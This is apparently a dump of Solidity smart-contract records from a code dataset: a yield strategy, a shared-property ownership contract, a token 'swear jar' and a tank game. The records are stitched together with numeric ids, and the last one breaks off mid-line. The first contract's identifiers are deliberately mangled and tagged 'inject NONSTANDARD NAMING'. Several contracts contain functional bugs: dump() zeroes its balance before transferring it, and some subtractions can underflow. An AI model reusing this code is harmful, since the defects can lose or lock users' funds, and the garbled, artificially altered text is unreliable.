NONSTANDARD NAMING address public governance; address public controller; bool public breaker = false; // Supply tracks the number of `want` that we have lent out of other distro's uint public supply = 0; constructor(address _controller) public { governance = msg.sender; controller = _controller; } function SETBREAKER384(bool _breaker) public { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); breaker = _breaker; } function DEPOSIT98() external { //inject NONSTANDARD NAMING require(breaker == false, "!breaker"); uint _balance = IERC20(want295).BALANCEOF995(address(this)); uint _want = _balance.DIV581(2); IERC20(want295).SAFEAPPROVE493(musd674, 0); IERC20(want295).SAFEAPPROVE493(musd674, _want); uint _before = _balance; MStable(musd674).MINT666(want295, _want); uint _after = IERC20(want295).BALANCEOF995(address(this)); supply = supply.ADD697(_before.SUB109(_after)); uint _musd = IERC20(musd674).BALANCEOF995(address(this)); uint _total = IERC20(balancer837).TOTALSUPPLY344(); uint _balancerMUSD = IERC20(musd674).BALANCEOF995(balancer837); uint _poolAmountMUSD = _musd.MUL960(_total).DIV581(_balancerMUSD); uint _balancerUSDC = IERC20(want295).BALANCEOF995(balancer837); uint _poolAmountUSDC = _want.MUL960(_total).DIV581(_balancerUSDC); uint _poolAmountOut = _poolAmountMUSD; if (_poolAmountUSDC < _poolAmountOut) { _poolAmountOut = _poolAmountUSDC; } IERC20(want295).SAFEAPPROVE493(balancer837, 0); IERC20(want295).SAFEAPPROVE493(balancer837, _want); IERC20(musd674).SAFEAPPROVE493(balancer837, 0); IERC20(musd674).SAFEAPPROVE493(balancer837, _musd); uint[] memory _maxAmountIn = new uint[](2); _maxAmountIn[0] = _musd; _maxAmountIn[1] = _want; _before = IERC20(want295).BALANCEOF995(address(this)); Balancer(balancer837).JOINPOOL849(_poolAmountOut, _maxAmountIn); _after = IERC20(want295).BALANCEOF995(address(this)); supply = supply.ADD697(_before.SUB109(_after)); } // Controller only function for creating additional rewards from dust function WITHDRAW505(IERC20 _asset) external returns (uint balance) { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); require(address(_asset) != want295, "!c"); require(address(_asset) != musd674, "!c"); require(address(_asset) != balancer837, "!c"); balance = _asset.BALANCEOF995(address(this)); _asset.SAFETRANSFER212(controller, balance); } function WITHDRAWM660(uint _amount) internal returns (uint) { //inject NONSTANDARD NAMING if (_amount > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_amount); } uint _before = IERC20(want295).BALANCEOF995(address(this)); MStable(musd674).REDEEM500(want295, _amount); uint _after = IERC20(want295).BALANCEOF995(address(this)); return _after.SUB109(_before); } function WITHDRAWBPT914(uint _amount) internal returns (uint) { //inject NONSTANDARD NAMING uint _calc = CALCULATERATIO430(_amount); _amount = _amount.SUB109(_amount.MUL960(10).DIV581(10000)); return _WITHDRAWSOME884(_calc, _amount); } // Withdraw partial funds, normally used with a vault withdrawal function WITHDRAW505(uint _amount) external { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); uint _balance = IERC20(want295).BALANCEOF995(address(this)); if (_balance < _amount) { uint _musd = NORMALIZE117(IERC20(musd674).BALANCEOF995(address(this))); uint _remainder = _amount.SUB109(_balance); if (_musd > 0) { if (_musd > _remainder) { _amount = WITHDRAWM660(_remainder); _amount = _amount.ADD697(_balance); } else { _remainder = _remainder.SUB109(_musd); uint _withdrew = WITHDRAWM660(_musd); _amount = _withdrew.ADD697(_balance); _withdrew = WITHDRAWBPT914(_remainder); _amount = _amount.ADD697(_withdrew); } } else { _amount = WITHDRAWBPT914(_remainder); _amount = _amount.ADD697(_balance); } } IERC20(want295).SAFETRANSFER212(controller, _amount); } function REDEEM500() external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); uint _balance = NORMALIZE117(IERC20(musd674).BALANCEOF995(address(this))); if (_balance > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_balance); } MStable(musd674).REDEEM500(want295, _balance); } // Withdraw all funds, normally used when migrating strategies function WITHDRAWALL744() external returns (uint balance) { //inject NONSTANDARD NAMING require(msg.sender == controller, "!controller"); _WITHDRAWALL952(); balance = IERC20(want295).BALANCEOF995(address(this)); IERC20(want295).SAFETRANSFER212(controller, balance); } function _WITHDRAWALL952() internal { //inject NONSTANDARD NAMING uint _bpt = IERC20(balancer837).BALANCEOF995(address(this)); uint[] memory _minAmountOut = new uint[](2); _minAmountOut[0] = 0; _minAmountOut[1] = 0; uint _before = IERC20(want295).BALANCEOF995(address(this)); Balancer(balancer837).EXITPOOL804(_bpt, _minAmountOut); uint _after = IERC20(want295).BALANCEOF995(address(this)); uint _diff = _after.SUB109(_before); if (_diff > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_after.SUB109(_before)); } uint _musd = IERC20(musd674).BALANCEOF995(address(this)); // This one is the exception because it assumes we can redeem 1 USDC _diff = NORMALIZE117(_musd); if (_diff > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_diff); } MStable(musd674).REDEEM500(want295, _diff); } function CALCULATERATIO430(uint _amount) public view returns (uint) { //inject NONSTANDARD NAMING uint _musd = NORMALIZE117(IERC20(musd674).BALANCEOF995(balancer837)); uint _want = IERC20(want295).BALANCEOF995(balancer837); uint _total = _musd.ADD697(_want); uint _ratio = _amount.MUL960(_want).DIV581(_total); return _ratio; } function _WITHDRAWSOME884(uint256 _amount, uint _max) internal returns (uint) { //inject NONSTANDARD NAMING uint _redeem = IERC20(balancer837).TOTALSUPPLY344().MUL960(_amount).DIV581(IERC20(want295).BALANCEOF995(balancer837)); if (_redeem > IERC20(balancer837).BALANCEOF995(address(this))) { _redeem = IERC20(balancer837).BALANCEOF995(address(this)); } uint[] memory _minAmountOut = new uint[](2); _minAmountOut[0] = 0; _minAmountOut[1] = 0; uint _before = IERC20(want295).BALANCEOF995(address(this)); uint _mBefore = IERC20(musd674).BALANCEOF995(address(this)); Balancer(balancer837).EXITPOOL804(_redeem, _minAmountOut); uint _mAfter = IERC20(musd674).BALANCEOF995(address(this)); uint _after = IERC20(want295).BALANCEOF995(address(this)); uint _musd = _mAfter.SUB109(_mBefore); uint _withdrew = _after.SUB109(_before); if (_withdrew > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_withdrew); } _musd = NORMALIZE117(_musd); if (_musd > supply) { // Pool made too much profit, so we reset to 0 to avoid revert supply = 0; } else { supply = supply.SUB109(_musd); } _before = IERC20(want295).BALANCEOF995(address(this)); MStable(musd674).REDEEM500(want295, _musd); _after = IERC20(want295).BALANCEOF995(address(this)); _withdrew = _withdrew.ADD697(_after.SUB109(_before)); // Apply the fee as a difference _withdrew = _withdrew.SUB109(_musd.SUB109(_after.SUB109(_before))); if (_withdrew > _max) { _withdrew = _max; } return _withdrew; } function NORMALIZE117(uint _amount) public view returns (uint) { //inject NONSTANDARD NAMING return _amount.MUL960(10**IERC20(want295).DECIMALS615()).DIV581(10**IERC20(musd674).DECIMALS615()); } function BALANCEOF995() public view returns (uint) { //inject NONSTANDARD NAMING return IERC20(want295).BALANCEOF995(address(this)) .ADD697(supply); } function SETGOVERNANCE741(address _governance) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); governance = _governance; } function SETCONTROLLER847(address _controller) external { //inject NONSTANDARD NAMING require(msg.sender == governance, "!governance"); controller = _controller; } }
inject NONSTANDARD NAMING
function WITHDRAWALL744() external returns (uint balance) {
5,414,288
import { RoleManagement } from "./RoleManagement.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; pragma solidity ^0.5.0; contract Registry { function updateProperty(address ownerAddress, uint256 pin) public returns(bool success); function grantPermission(address _operator,string memory _permission) public; function getPropertyOwner(uint pin) public returns(address payable); } contract MultiOwnership{ using SafeMath for uint256; struct onSale{ address owner; uint256 pct; uint256 amount; } // Variables address[] public owners; onSale[] public sales; bytes32[] public allOperations; uint256 public pourcentToPass; uint256 public amountToReach; uint256 public pin; uint256 public pinOwner; address public regaddr; uint256 public pendingBuying; uint256 FINNEY=(10**15); //Reverse lookup to match owners and indices mapping(address => uint) public ownersPct; mapping(address => uint) public ownersIndices; mapping(bytes32 => uint) public allOperationsIndicies; //Owners voting per operations mapping(bytes32 => uint256) public votesMaskByOperation; mapping(bytes32 => uint256) public votesCountByOperation; mapping(bytes32 => mapping(address => bool)) public voters; //EVENTS event SharedPropertyJoined(address newOwner,uint pourcentage,uint shareleft); event SharedPropertyBought(uint pin,address contract_address, uint OwnersCount); event OwnerSharedIncreased(address owner, uint newPct); event SharedPutMarket(address owner,uint PctofProp, uint price); event SharedSold(address oldOwner, address newOwner, uint newPct); event OwnershipTransferred(address previousOwner, address newOwner, uint pct); event OperationCreated(bytes32 operation, address proposer); event OperationUpvoted(bytes32 operation, uint votes, uint pourcentToPass, address upvoter); event OperationPerformed(bytes32 operation, uint howMany); event OperationDownvoted(bytes32 operation, uint votes, uint pourcentToFail, address downvoter); event OperationCancelled(bytes32 operation, address lastCanceller,uint necessaryPct, uint againstPct); event OperationRemoved(bytes32 operation, bool performed); event SendingBackMoney(uint256 valuesent,uint256 pendingbalance, uint256 refund); //Accessors function isOwner(address _owners) public view returns (bool){ return ownersIndices[_owners]>0; } function ownersCount() public view returns(uint) { return owners.length; } function allOperationsCount() public view returns(uint) { return allOperations.length; } function getBalance() public view returns(uint) { return address(this).balance; } function getPendingbuying() public view returns(uint){ return amountToReach; } //Events //Modifiers modifier onlyOwner{ require(isOwner(msg.sender)==true,"You are not part of the owners."); _; } modifier notAchieved{ require(address(this).balance<=amountToReach,"The amount to reach for the contract is already achieved"); _; } //Constructor constructor(uint256 _pourcent, uint256 _amount, uint256 _pin, uint256 _pinOwner, address _regaddr) public payable{ require(msg.value>0,"You need to send money when youcreate this kind of contract"); require(msg.value<_amount*FINNEY,"Sending more money that the amount to collect with this contract"); amountToReach=_amount*FINNEY; pourcentToPass=_pourcent; pin=_pin; pinOwner=_pinOwner; owners.push(msg.sender); ownersIndices[msg.sender]=owners.length; ownersPct[msg.sender]=SafeMath.div(SafeMath.mul(msg.value,100),amountToReach); pendingBuying=address(this).balance; emit SharedPropertyJoined(msg.sender,ownersPct[msg.sender],SafeMath.sub(amountToReach,pendingBuying)); regaddr=_regaddr; } //Internal Methods /** * @dev check if we reach the vote for any operations */ function checkUpVote(bytes32 operation) internal returns (bool) { uint256 tmp_against = votesMaskByOperation[operation]; uint256 tmp_for = votesCountByOperation[operation]; bool performed =false; if(tmp_for>=pourcentToPass){ performed=true; emit OperationPerformed(operation,tmp_for); deleteOperation(operation,performed); }else{ uint256 pctMissing = SafeMath.sub(pourcentToPass,votesCountByOperation[operation]); uint256 pctToVote = SafeMath.sub(100,SafeMath.add(votesCountByOperation[operation],votesMaskByOperation[operation])); if(pctMissing>pctToVote){ performed=false; emit OperationCancelled(operation,msg.sender,pourcentToPass,tmp_against); deleteOperation(operation,performed); } } } function() external payable { if (msg.value > 0) { //emit Deposit(msg.sender, msg.value); } } /** * @dev function that link this contract with the registry, allows to own a property on the registry contract */ function buyProperty() internal { require(pendingBuying!=0,"Check that pendingBuying is different form 0 to forbid reentrancy attack."); pendingBuying=0; Registry reg = Registry(regaddr); reg.getPropertyOwner(pin).transfer(address(this).balance); reg.updateProperty(address(this),pin); emit SharedPropertyBought(pin, address(this),owners.length); } //Public Methods /** * @dev if you want to join the multi-shared ownership contract */ function joinSharedProperty() public payable { require(ownersIndices[msg.sender]==0,"You are already part of the shared property"); require(msg.value>0,"You need to seend at least as much ether as amount."); uint256 amount = msg.value; if(msg.value>SafeMath.sub(amountToReach,pendingBuying)){ msg.sender.transfer(SafeMath.sub(msg.value,SafeMath.sub(amountToReach,pendingBuying))); amount = SafeMath.sub(amountToReach,pendingBuying); emit SendingBackMoney(msg.value,SafeMath.sub(amountToReach,pendingBuying),SafeMath.sub(msg.value,SafeMath.sub(amountToReach,pendingBuying))); } owners.push(msg.sender); ownersIndices[msg.sender]=owners.length; ownersPct[msg.sender]=SafeMath.div(SafeMath.mul(amount,100),amountToReach); pendingBuying=address(this).balance; emit SharedPropertyJoined(msg.sender,ownersPct[msg.sender],SafeMath.sub(amountToReach,pendingBuying)); if(pendingBuying==amountToReach){ buyProperty(); } } /** * @dev if someone already in the multi shared ownership contract wants to buy some more shares. */ function addMoney() public payable onlyOwner(){ require(msg.value>0,"You need to send ether with this function"); uint256 amount = msg.value; if(msg.value>SafeMath.sub(amountToReach,pendingBuying)){ msg.sender.transfer(SafeMath.sub(msg.value,SafeMath.sub(amountToReach,pendingBuying))); amount = SafeMath.sub(amountToReach,pendingBuying); emit SendingBackMoney(msg.value,SafeMath.sub(amountToReach,pendingBuying),SafeMath.sub(msg.value,SafeMath.sub(amountToReach,pendingBuying))); } uint256 tmp=ownersPct[msg.sender]; ownersPct[msg.sender]=SafeMath.add(SafeMath.mul(SafeMath.div(msg.value,amountToReach),100),tmp); pendingBuying=address(this).balance; emit OwnerSharedIncreased(msg.sender,ownersPct[msg.sender]); buyProperty(); } /** * @dev If one of the owner wants to sell part of all his share * @param _pct pourcentage of his share that the owner is willing to sell * @param _amount how much money the onwer is asking for his share */ function sellShare(uint256 _pct, uint256 _amount) public onlyOwner() { onSale memory share = onSale(msg.sender,_pct,SafeMath.mul(_amount,FINNEY)); sales.push(share); emit SharedPutMarket(msg.sender,SafeMath.div(SafeMath.mul(ownersPct[msg.sender],_pct),100),SafeMath.mul(_amount,FINNEY)); } /** * @dev If a new person wants to buy someone's share * @param index index of the on sale Share he wants to buy */ function buyShare(uint256 index) public payable { require(msg.value==sales[index].amount,"Value doesn't match price."); require(index<=SafeMath.sub(sales.length,1),"Sale doesn't exist"); transferOwnership(msg.sender,sales[index].owner,sales[index].pct); sales[index]=sales[SafeMath.sub(sales.length,1)]; delete sales[SafeMath.sub(sales.length,1)]; emit SharedSold(sales[index].owner, msg.sender, sales[index].pct); } /** * @dev transfer the ownership of the share * @param _newOwner new owner address * @param _oldOwner old owner address * @param _pct pourcentage of the transfer */ function transferOwnership(address _newOwner, address _oldOwner, uint256 _pct) internal { require(_pct<=100,"Can't buy more than 100% of a someone's property"); if(_pct!=100){ require(owners.length<256,"Can't have more than 256 owners."); owners.push(_newOwner); ownersIndices[_newOwner]=owners.length; ownersPct[_newOwner]=SafeMath.div(SafeMath.mul(ownersPct[_oldOwner],_pct),100); emit SharedPropertyJoined(_newOwner,ownersPct[_newOwner],0); } if(_pct==100){ uint256 index=ownersIndices[_oldOwner]; owners[index]=_newOwner; ownersIndices[_newOwner]=index; delete ownersIndices[_oldOwner]; uint256 tmp = ownersPct[_oldOwner]; ownersPct[_oldOwner]=0; ownersPct[_newOwner]=tmp; emit OwnershipTransferred(_oldOwner,_newOwner,_pct); } } /** * @dev allows any shareholder to suggest an operation about the property */ function createOperation() public onlyOwner(){ bytes32 operation = keccak256(msg.data); allOperationsIndicies[operation] = allOperations.length; allOperations.push(operation); emit OperationCreated(operation,msg.sender); } /** * @dev allows any shareholder to upvote an operation * send msg.data for refering to the operation */ function upVote() public onlyOwner(){ bytes32 operation=keccak256(msg.data); require(allOperations[allOperationsIndicies[operation]]>=0,"Operation doesn't exist"); require(voters[operation][msg.sender]==false,"Sender already voted."); uint operationVotesCount=SafeMath.add(votesCountByOperation[operation],ownersPct[msg.sender]); votesCountByOperation[operation] = operationVotesCount; voters[operation][msg.sender]=true; emit OperationUpvoted(operation,operationVotesCount,pourcentToPass,msg.sender); checkUpVote(operation); } /** * @dev allows any shareholder to downVote an operation * send msg.data for refering to the operation */ function downVote() public onlyOwner() { bytes32 operation=keccak256(msg.data); require(allOperations[allOperationsIndicies[operation]]!=0,"Operation doesn't exist"); require(voters[operation][msg.sender]==false,"Sender already voted."); uint operationMaskCount=SafeMath.add(votesMaskByOperation[operation],ownersPct[msg.sender]); votesMaskByOperation[operation] = operationMaskCount; voters[operation][msg.sender]=true; emit OperationDownvoted(operation,operationMaskCount,SafeMath.sub(100,pourcentToPass),msg.sender); checkUpVote(operation); } /** * @dev Used to delete cancelled or performed operation * @param operation defines which operation to delete */ function deleteOperation(bytes32 operation,bool perfomed) internal { uint index = allOperationsIndicies[operation]; allOperations[index] = allOperations[SafeMath.sub(allOperations.length,1)]; allOperationsIndicies[allOperations[index]] = index; delete allOperationsIndicies[allOperations[index]]; delete allOperations[SafeMath.sub(allOperations.length,1)]; delete votesMaskByOperation[operation]; delete votesCountByOperation[operation]; delete allOperationsIndicies[operation]; emit OperationRemoved(operation,perfomed); } }
function that link this contract with the registry, allows to own a property on the registry contract/
function buyProperty() internal { require(pendingBuying!=0,"Check that pendingBuying is different form 0 to forbid reentrancy attack."); pendingBuying=0; Registry reg = Registry(regaddr); reg.getPropertyOwner(pin).transfer(address(this).balance); reg.updateProperty(address(this),pin); emit SharedPropertyBought(pin, address(this),owners.length); }
12,656,528
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract SwearJar { struct Swear { string word; uint256 count; uint256 spent; } mapping(address => Swear []) public swears; uint256 private percent = 3; uint256 public trashcan; address public owner; IERC20 SCARG; event Swore(); event Redempt(); event Trash(); event Adjust(); modifier auth() { require(msg.sender == owner, "(SwearJar Error): Only the owner access the trash."); _; } constructor(address _owner, address token) { owner = _owner; SCARG = IERC20(token); } /** * swear - updates an existing word or adds a new one if it doesn't exist * @param word * @param amount */ function swear(string memory word, uint256 amount) public payable { require(bytes(word).length > 0, "(SwearJar Error): You gotta at least swear first, man."); require(amount <= SCARG.balanceOf(msg.sender), "You don't have enough $SCARG to swear."); uint256 index = exists(msg.sender, word); if (swears[msg.sender].length != 0 && index < swears[msg.sender].length) { swears[msg.sender][index].count += 1; swears[msg.sender][index].spent += amount; SCARG.transferFrom(msg.sender, address(this), amount); } else { swears[msg.sender].push(Swear(word, 1, amount)); SCARG.transferFrom(msg.sender, address(this), amount); } emit Swore(); } /** * exists - checks if the user has already said the word * @param sender * @param word * @returns index */ function exists(address sender, string memory word) private view returns (uint256) { uint256 i=0; for (i = 0; i < swears[sender].length; i++) { if (keccak256(abi.encodePacked(swears[sender][i].word)) == keccak256(abi.encodePacked(word))) { return i; } } return i; } /** * loosen - view all your swear words * @returns swears */ function loosen() public view returns (Swear [] memory) { return swears[msg.sender]; } /** * redeem - withdraw amount of SCARG stored in a swear word * @param swearer * @param word */ function redeem(address payable swearer, string memory word) public payable { for (uint256 i = 0; i < swears[swearer].length; i++) { if (keccak256(abi.encodePacked(swears[swearer][i].word)) == keccak256(abi.encodePacked(word))) { uint256 amount = swears[swearer][i].spent; uint256 trash = amount * percent / 100; uint256 rcv_amount = amount - trash; swears[swearer][i].spent = 0; if (SCARG.balanceOf(address(this)) >= rcv_amount) { trashcan += trash; SCARG.transfer(swearer, rcv_amount); break; } else revert(); } } emit Redempt(); } // called when msg.data is not empty fallback() external payable {} receive() external payable {} /** * feel - see what's in the trash (only owner) */ function feel() public auth view returns (uint256) { return trashcan; } /** * dump - withdraw amount that's in trashcan from contract * @param to */ function dump(address payable to) public auth payable { require(trashcan >= 0, "(SwearJar Error): No trash to take out."); require(address(this).balance >= trashcan, "(SwearJar Error): Not enough balance in the contract."); trashcan = 0; SCARG.transferFrom(address(this), to, trashcan); emit Trash(); } /** * adjust - updates the percentage taken from user withdraws * @param _percent */ function adjust(uint256 _percent) public auth { percent = _percent; emit Adjust(); } /** * new_auth - sets a new owner of the contract (only owner) * @param _owner */ function new_auth(address _owner) public auth { owner = _owner; emit Adjust(); } /** * new_token - updates the connected IERC20 token (only owner) * @param token */ function new_token(address token) public auth { SCARG = IERC20(token); } }
redeem - withdraw amount of SCARG stored in a swear word swearer word/
function redeem(address payable swearer, string memory word) public payable { for (uint256 i = 0; i < swears[swearer].length; i++) { if (keccak256(abi.encodePacked(swears[swearer][i].word)) == keccak256(abi.encodePacked(word))) { uint256 amount = swears[swearer][i].spent; uint256 trash = amount * percent / 100; uint256 rcv_amount = amount - trash; swears[swearer][i].spent = 0; if (SCARG.balanceOf(address(this)) >= rcv_amount) { trashcan += trash; SCARG.transfer(swearer, rcv_amount); break; } else revert(); } } emit Redempt(); }
1,084,304
//Address: 0x39f73ec09e135bbf5c7f38875db6093115866c96 //Contract name: EZTanks //Balance: 0.000625 Ether //Verification Date: 1/16/2018 //Transacion Count: 4 // CODE STARTS HERE pragma solidity ^0.4.0; contract EZTanks{ // STRUCTS HERE struct TankObject{ // type of tank uint256 typeID; // tank quality uint8[4] upgrades; bool inBattle; // stats address tankOwner; uint256 earningsIndex; // buying & selling bool inAuction; uint256 currAuction; } struct TankType{ uint256 startPrice; uint256 currPrice; uint256 earnings; // battle stats uint32 baseHealth; uint32 baseAttack; uint32 baseArmor; uint32 baseSpeed; uint32 numTanks; } struct AuctionObject{ uint tank; // tank id uint startPrice; uint endPrice; uint startTime; uint duration; bool alive; } // EVENTS HERE event EventWithdraw ( address indexed player, uint256 amount ); event EventUpgradeTank ( address indexed player, uint256 tankID, uint8 upgradeChoice ); event EventAuction ( address indexed player, uint256 tankID, uint256 startPrice, uint256 endPrice, uint256 duration, uint256 currentTime ); event EventCancelAuction ( uint256 indexed tankID, address owner ); event EventBid ( uint256 indexed tankID, address indexed buyer ); event EventBuyTank ( address indexed player, uint256 productID, uint256 tankID, uint256 newPrice ); event EventCashOutTank( address indexed player, uint256 amount ); event EventJoinedBattle( address indexed player, uint256 indexed tankID ); event EventQuitBattle( address indexed player, uint256 indexed tankID ); event EventBattleOver(); // FIELDS HERE // contract fields uint8 feeAmt = 3; uint8 tournamentTaxRate = 5; address owner; // battle! uint256 tournamentAmt = 0; uint8 teamSize = 5; uint256 battleFee = 1 ether / 1000; uint256[] battleTeams; // tank fields uint256 newTypeID = 1; uint256 newTankID = 1; uint256 newAuctionID = 1; mapping (uint256 => TankType) baseTanks; mapping (uint256 => TankObject) tanks; //maps tankID to tanks mapping (address => uint256[]) userTanks; mapping (uint => AuctionObject) auctions; //maps auctionID to auction mapping (address => uint) balances; // MODIFIERS HERE modifier isOwner { require(msg.sender == owner); _; } // CTOR function EZTanks() public payable{ // init owner owner = msg.sender; balances[owner] += msg.value; // basic tank newTankType(1 ether / 80, 1 ether / 1000, 2500, 50, 40, 3); // bulky tank newTankType(1 ether / 50, 1 ether / 1000, 5500, 50, 41, 3); // speeder tank newTankType(1 ether / 50, 1 ether / 1000, 2000, 50, 40, 5); // powerful tank newTankType(1 ether / 50, 1 ether / 1000, 3000, 53, 39, 3); // armor tank newTankType(1 ether / 50, 1 ether / 1000, 4000, 51, 43, 2); // better than basic tank newTankType(1 ether / 40, 1 ether / 200, 3000, 52, 41, 4); } // ADMINISTRATIVE FUNCTIONS function setNewOwner(address newOwner) public isOwner{ owner = newOwner; } // create a new tank type function newTankType ( uint256 _startPrice, uint256 _earnings, uint32 _baseHealth, uint32 _baseAttack, uint32 _baseArmor, uint32 _baseSpeed ) public isOwner { baseTanks[newTypeID++] = TankType({ startPrice : _startPrice, currPrice : _startPrice, earnings : _earnings, baseAttack : _baseAttack, baseArmor : _baseArmor, baseSpeed : _baseSpeed, baseHealth : _baseHealth, numTanks : 0 }); } // fee from auctioning function changeFeeAmt (uint8 _amt) public isOwner { require(_amt > 0 && _amt < 100); feeAmt = _amt; } // rate to fund tournament function changeTournamentTaxAmt (uint8 _rate) public isOwner { require(_rate > 0 && _rate < 100); tournamentTaxRate = _rate; } function changeTeamSize(uint8 _size) public isOwner { require(_size > 0); teamSize = _size; } // cost to enter battle function changeBattleFee(uint256 _fee) public isOwner { require(_fee > 0); battleFee = _fee; } // INTERNAL FUNCTIONS function delTankFromUser(address user, uint256 value) internal { uint l = userTanks[user].length; for(uint i=0; i<l; i++){ if(userTanks[user][i] == value){ delete userTanks[user][i]; userTanks[user][i] = userTanks[user][l-1]; userTanks[user].length = l-1; return; } } } // USER FUNCTIONS function withdraw (uint256 _amount) public payable { // validity checks require (_amount >= 0); require (this.balance >= _amount); require (balances[msg.sender] >= _amount); // return everything is withdrawing 0 if (_amount == 0){ _amount = balances[msg.sender]; } require(msg.sender.send(_amount)); balances[msg.sender] -= _amount; EventWithdraw (msg.sender, _amount); } function auctionTank (uint _tankID, uint _startPrice, uint _endPrice, uint256 _duration) public { require (_tankID > 0 && _tankID < newTankID); require (tanks[_tankID].tankOwner == msg.sender); require (!tanks[_tankID].inBattle); require (!tanks[_tankID].inAuction); require (tanks[_tankID].currAuction == 0); require (_startPrice >= _endPrice); require (_startPrice > 0 && _endPrice >= 0); require (_duration > 0); auctions[newAuctionID] = AuctionObject(_tankID, _startPrice, _endPrice, now, _duration, true); tanks[_tankID].inAuction = true; tanks[_tankID].currAuction = newAuctionID; newAuctionID++; EventAuction (msg.sender, _tankID, _startPrice, _endPrice, _duration, now); } // buy tank from auction function bid (uint256 _tankID) public payable { // validity checks require (_tankID > 0 && _tankID < newTankID); // check if tank is valid require (tanks[_tankID].inAuction == true); // check if tank is currently in auction uint256 auctionID = tanks[_tankID].currAuction; uint256 currPrice = getCurrAuctionPriceAuctionID(auctionID); require (currPrice >= 0); require (msg.value >= currPrice); if(msg.value > currPrice){ balances[msg.sender] += (msg.value - currPrice); } // calculate new balances uint256 fee = (currPrice*feeAmt) / 100; //update tournamentAmt uint256 tournamentTax = (fee*tournamentTaxRate) / 100; tournamentAmt += tournamentTax; balances[tanks[_tankID].tankOwner] += currPrice - fee; balances[owner] += (fee - tournamentTax); // update object fields address formerOwner = tanks[_tankID].tankOwner; tanks[_tankID].tankOwner = msg.sender; tanks[_tankID].inAuction = false; auctions[tanks[_tankID].currAuction].alive = false; tanks[_tankID].currAuction = 0; // update userTanks userTanks[msg.sender].push(_tankID); delTankFromUser(formerOwner, _tankID); EventBid (_tankID, msg.sender); } function cancelAuction (uint256 _tankID) public { require (_tankID > 0 && _tankID < newTankID); require (tanks[_tankID].inAuction); require (tanks[_tankID].tankOwner == msg.sender); // update tank object tanks[_tankID].inAuction = false; auctions[tanks[_tankID].currAuction].alive = false; tanks[_tankID].currAuction = 0; EventCancelAuction (_tankID, msg.sender); } function buyTank (uint32 _typeID) public payable { require(_typeID > 0 && _typeID < newTypeID); require (baseTanks[_typeID].currPrice > 0 && msg.value > 0); require (msg.value >= baseTanks[_typeID].currPrice); if (msg.value > baseTanks[_typeID].currPrice){ balances[msg.sender] += msg.value - baseTanks[_typeID].currPrice; } baseTanks[_typeID].currPrice += baseTanks[_typeID].earnings; uint256 earningsIndex = baseTanks[_typeID].numTanks + 1; baseTanks[_typeID].numTanks += 1; tanks[newTankID++] = TankObject ({ typeID : _typeID, upgrades : [0,0,0,0], inBattle : false, tankOwner : msg.sender, earningsIndex : earningsIndex, inAuction : false, currAuction : 0 }); uint256 price = baseTanks[_typeID].startPrice; uint256 tournamentProceeds = (price * tournamentTaxRate) / 100; balances[owner] += baseTanks[_typeID].startPrice - tournamentProceeds; tournamentAmt += tournamentProceeds; userTanks[msg.sender].push(newTankID-1); EventBuyTank (msg.sender, _typeID, newTankID-1, baseTanks[_typeID].currPrice); } //cashing out the money that a tank has earned function cashOutTank (uint256 _tankID) public { // validity checks require (_tankID > 0 && _tankID < newTankID); require (tanks[_tankID].tankOwner == msg.sender); require (!tanks[_tankID].inAuction && tanks[_tankID].currAuction == 0); require (!tanks[_tankID].inBattle); uint256 tankType = tanks[_tankID].typeID; uint256 numTanks = baseTanks[tankType].numTanks; uint256 amount = getCashOutAmount(_tankID); require (this.balance >= amount); require (amount > 0); require(tanks[_tankID].tankOwner.send(amount)); tanks[_tankID].earningsIndex = numTanks; EventCashOutTank (msg.sender, amount); } // 0 -> health, 1 -> attack, 2 -> armor, 3 -> speed function upgradeTank (uint256 _tankID, uint8 _upgradeChoice) public payable { // validity checks require (_tankID > 0 && _tankID < newTankID); require (tanks[_tankID].tankOwner == msg.sender); require (!tanks[_tankID].inAuction); require (!tanks[_tankID].inBattle); require (_upgradeChoice >= 0 && _upgradeChoice < 4); // no overflow! require(tanks[_tankID].upgrades[_upgradeChoice] + 1 > tanks[_tankID].upgrades[_upgradeChoice]); uint256 upgradePrice = baseTanks[tanks[_tankID].typeID].startPrice / 4; require (msg.value >= upgradePrice); tanks[_tankID].upgrades[_upgradeChoice]++; if(msg.value > upgradePrice){ balances[msg.sender] += msg.value-upgradePrice; } uint256 tournamentProceeds = (upgradePrice * tournamentTaxRate) / 100; balances[owner] += (upgradePrice - tournamentProceeds); tournamentAmt += tournamentProceeds; EventUpgradeTank (msg.sender, _tankID, _upgradeChoice); } function battle(uint256 _tankID) public payable { require(_tankID >0 && _tankID < newTankID); require(tanks[_tankID].tankOwner == msg.sender); require(!tanks[_tankID].inAuction); require(!tanks[_tankID].inBattle); require(msg.value >= battleFee); if(msg.value > battleFee){ balances[msg.sender] += (msg.value - battleFee); } tournamentAmt += battleFee; EventJoinedBattle(msg.sender, _tankID); // add to teams if(battleTeams.length < 2*teamSize - 1){ battleTeams.push(_tankID); tanks[_tankID].inBattle = true; // time to battle! } else { battleTeams.push(_tankID); uint256[4] memory teamA; uint256[4] memory teamB; uint256[4] memory temp; for(uint i=0; i<teamSize; i++){ temp = getCurrentStats(battleTeams[i]); teamA[0] += temp[0]; teamA[1] += temp[1]; teamA[2] += temp[2]; teamA[3] += temp[3]; temp = getCurrentStats(battleTeams[teamSize+i]); teamB[0] += temp[0]; teamB[1] += temp[1]; teamB[2] += temp[2]; teamB[3] += temp[3]; } // lower score is better uint256 diffA = teamA[1] - teamB[2]; uint256 diffB = teamB[1] - teamA[2]; diffA = diffA > 0 ? diffA : 1; diffB = diffB > 0 ? diffB : 1; uint256 teamAScore = teamB[0] / (diffA * teamA[3]); uint256 teamBScore = teamA[0] / (diffB * teamB[3]); if((teamB[0] % (diffA * 